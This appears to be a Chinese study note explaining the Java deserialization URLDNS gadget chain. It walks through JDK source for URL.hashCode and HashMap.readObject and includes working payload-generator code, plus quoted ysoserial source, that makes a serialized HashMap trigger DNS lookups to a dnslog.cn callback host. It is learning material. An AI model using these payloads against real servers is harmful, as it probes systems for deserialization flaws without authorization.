前言
初步入门java反序列化学习,做一个学习记录,水一篇文章。如果有问题可以邮件:got_ whipper.0p@icloud.com
使用URL.equals会发起DNS请求
public class urltest {
public static void main(String[] args) throws MalformedURLException {
System.out.println("hello ");
URL u = new URL("http://www.baidu.com");
URL u1 = new URL("http://www.baidu.com");
System.out.println(u.equals(u1));
}
}

跟进代码,equals代码如下,
protected boolean equals(URL u1, URL u2) {
String ref1 = u1.getRef();
String ref2 = u2.getRef();
return (ref1 == ref2 || (ref1 != null && ref1.equals(ref2))) &&
sameFile(u1, u2);
}
判断reference是否相同,而后使用sameFile函数,sameFile函数会查看其协议、uri、端口、主机是否相等。
protected boolean sameFile(URL u1, URL u2) {
// Compare the protocols.
if (!((u1.getProtocol() == u2.getProtocol()) ||
(u1.getProtocol() != null &&
u1.getProtocol().equalsIgnoreCase(u2.getProtocol()))))
return false;
// Compare the files.
if (!(u1.getFile() == u2.getFile() ||
(u1.getFile() != null && u1.getFile().equals(u2.getFile()))))
return false;
// Compare the ports.
int port1, port2;
port1 = (u1.getPort() != -1) ? u1.getPort() : u1.handler.getDefaultPort();
port2 = (u2.getPort() != -1) ? u2.getPort() : u2.handler.getDefaultPort();
if (port1 != port2)
return false;
// Compare the hosts.
if (!hostsEqual(u1, u2))
return false;
return true;
}
hostsEqual方法中会调用getHostAddress方法,getHostAddress方法会通过InetAddress.getByName函数获取到域名对应的IP地址,触发DNS解析
protected boolean hostsEqual(URL u1, URL u2) {
InetAddress a1 = getHostAddress(u1);
InetAddress a2 = getHostAddress(u2);
protected synchronized InetAddress getHostAddress(URL u) {
if (u.hostAddress != null)
return u.hostAddress;
String host = u.getHost();
if (host == null || host.isEmpty()) {
return null;
} else {
try {
u.hostAddress = InetAddress.getByName(host);
} catch (UnknownHostException ex) {
return null;
} catch (SecurityException se) {
return null;
}
}
return u.hostAddress;
}
同样的URL类中的hashCode也会触发DNS请求,通过getHostAddress获取到IP地址,需要注意的是其中hashCode会被缓存
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;
hashCode = handler.hashCode(this);
return hashCode;
}
protected int hashCode(URL u) {
int h = 0;
// Generate the protocol part.
String protocol = u.getProtocol();
if (protocol != null)
h += protocol.hashCode();
// Generate the host part.
InetAddress addr = getHostAddress(u);
if (addr != null) {
h += addr.hashCode();
} else {
String host = u.getHost();
if (host != null)
h += host.toLowerCase().hashCode();
}
通过调用URL类的equals和hashCode方法即可触发DNS请求
数据结构
HashMap采用数组+链表方式存储键值对,其中链表为单向链表
transient Node<K,V>[] table;
static class Node<K,V> implements Map.Entry<K,V> {
final int hash;
final K key;
V value;
Node<K,V> next;
Node(int hash, K key, V value, Node<K,V> next) {
this.hash = hash;
this.key = key;
this.value = value;
this.next = next;
}
默认情况下java中的HashMap大小只有16,当产生hash冲突时,就把它插入到链表中的下一个元素,在取出元素时,首先计算hash,根据hash找到对应的链表,而后遍历链表获取到value。
static final int DEFAULT_INITIAL_CAPACITY = 1 << 4;
可以用如下图

HashMap重写了readObject方法,反序列化HashMap数据时会调用重写的readObject方法,代码如下
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
// Read in the threshold (ignored), loadfactor, and any hidden stuff
s.defaultReadObject();
reinitialize();
if (loadFactor <= 0 || Float.isNaN(loadFactor))
throw new InvalidObjectException("Illegal load factor: " +
loadFactor);
s.readInt(); // Read and ignore number of buckets
int mappings = s.readInt(); // Read number of mappings (size)
if (mappings < 0)
throw new InvalidObjectException("Illegal mappings count: " +
mappings);
else if (mappings > 0) { // (if zero, use defaults)
// Size the table using given load factor only if within
// range of 0.25...4.0
float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
float fc = (float)mappings / lf + 1.0f;
int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
DEFAULT_INITIAL_CAPACITY :
(fc >= MAXIMUM_CAPACITY) ?
MAXIMUM_CAPACITY :
tableSizeFor((int)fc));
float ft = (float)cap * lf;
threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
(int)ft : Integer.MAX_VALUE);
// Check Map.Entry[].class since it's the nearest public type to
// what we're actually creating.
SharedSecrets.getJavaObjectInputStreamAccess().checkArray(s, Map.Entry[].class, cap);
@SuppressWarnings({"rawtypes","unchecked"})
Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
table = tab;
// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
}
}
可以知道,readObject方法会获取有多少个数据,而后进行通过for循环循环从数据流中读取对象信息,并通过putVal方法加入到HashMap中,其中键为hash(key),也就是会尝试调用key对应类的hashCode方法计算hash值。
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
如果key对象为URL类,通过前面我们知道URL.hashCode方法会触发DNS请求,这也是URLDNS的原理。
以上代码来源于JDK 12.0.1
https://cloud.tencent.com/developer/article/1167574
https://anmolsehgal.medium.com/java-hashmap-internal-implementation-21597e1efec3
实际测试
使用如下代码进行测试
public class urltest {
public static void main(String[] args) throws IOException, ClassNotFoundException {
System.out.println("hello ");
URL u = new URL("http://www.baidu.com/1");
URL u1 = new URL("http://www.aliyun.com/1");
HashMap<URL,String> map = new HashMap<URL,String>();
map.put(u,"1");
map.put(u1,"1");
FileOutputStream fos = new FileOutputStream("object");
ObjectOutputStream os = new ObjectOutputStream(fos);
//writeObject()方法将myObj对象写入object文件
os.writeObject(map);
os.close();
//从文件中反序列化obj对象
FileInputStream fis = new FileInputStream("object");
ObjectInputStream ois = new ObjectInputStream(fis);
//恢复对象
HashMap map2 = (HashMap<URL,String>)ois.readObject();
System.out.println("finish");
ois.close();
}
}
实际测试在从文件中反序列化恢复HashMap对象时不会触发DNS查询,跟进HashMap的readObject,有如下
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
其中对K尝试调用readObject方法反序列化出对应的对象,其会调用到URL类的readObject方法,可以看到URL的readObject方法会尝试读取到hashCode并放入对象的hashCode属性
private synchronized void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
GetField gf = s.readFields();
String protocol = (String)gf.get("protocol", null);
if (getURLStreamHandler(protocol) == null) {
throw new IOException("unknown protocol: " + protocol);
}
String host = (String)gf.get("host", null);
int port = gf.get("port", -1);
String authority = (String)gf.get("authority", null);
String file = (String)gf.get("file", null);
String ref = (String)gf.get("ref", null);
int hashCode = gf.get("hashCode", -1);
if (authority == null
&& ((host != null && !host.isEmpty()) || port != -1)) {
if (host == null)
host = "";
authority = (port == -1) ? host : host + ":" + port;
}
tempState = new UrlDeserializedState(protocol, host, port, authority,
file, ref, hashCode);
}
而在序列化时,会调用HashMap.put方法,put方法会跟前面一样,调用hash方法计算hashCode,并放到对象内,序列化时hashCode就被保存了。
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}
使得在调用URL.readObject方法时能够获取到hashCode,不会进行DNS解析。要解决这个问题就得让序列化后的数据hashCode为-1才能让hashCode方法调用到getHostAddress方法。 容易想到两种办法
public class URLDNS {
public static void main(String[] args) throws Exception {
HashMap<URL, Integer> hashMap = new HashMap<>();
URL url = new URL("http://su18.dnslog.cn");
Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
f.setAccessible(true);
f.set(url, 0x01010101);
hashMap.put(url, 0);
f.set(url, -1);
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("urldns.bin"));
oos.writeObject(hashMap);
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("urldns.bin"));
ois.readObject();
}
}
public class URLDNS2 {
public static void main(String[] args) throws Exception {
HashMap<URL, Integer> hashMap = new HashMap<>();
URL url = new URL("http://su18.dnslog.cn");
Method[] m = Class.forName("java.util.HashMap").getDeclaredMethods();
for (Method method : m) {
if (method.getName().equals("putVal")) {
method.setAccessible(true);
method.invoke(hashMap, -1, url, 0, false, true);
}
}
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("urldns2.bin"));
oos.writeObject(hashMap);
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("urldns2.bin"));
ois.readObject();
}
}
下载 源码,URLDNS实现如下,很明显采用的时第一种方法,在put之后,通过反射修改对应的值。
public class URLDNS implements ObjectPayload<Object> {
public Object getObject(final String url) throws Exception {
//Avoid DNS resolution during payload creation
//Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
URLStreamHandler handler = new SilentURLStreamHandler();
HashMap ht = new HashMap(); // HashMap that will contain the URL
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.
return ht;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(URLDNS.class, args);
}
/**
* <p>This instance of URLStreamHandler is used to avoid any DNS resolution while creating the URL instance.
* DNS resolution is used for vulnerability detection. It is important not to probe the given URL prior
* using the serialized object.</p>
*
* <b>Potential false negative:</b>
* <p>If the DNS name is resolved first from the tester computer, the targeted server might get a cache hit on the
* second resolution.</p>
*/
static class SilentURLStreamHandler extends URLStreamHandler {
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}
参考链接
https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/
Created at 2024-01-08T16:57:37+08:00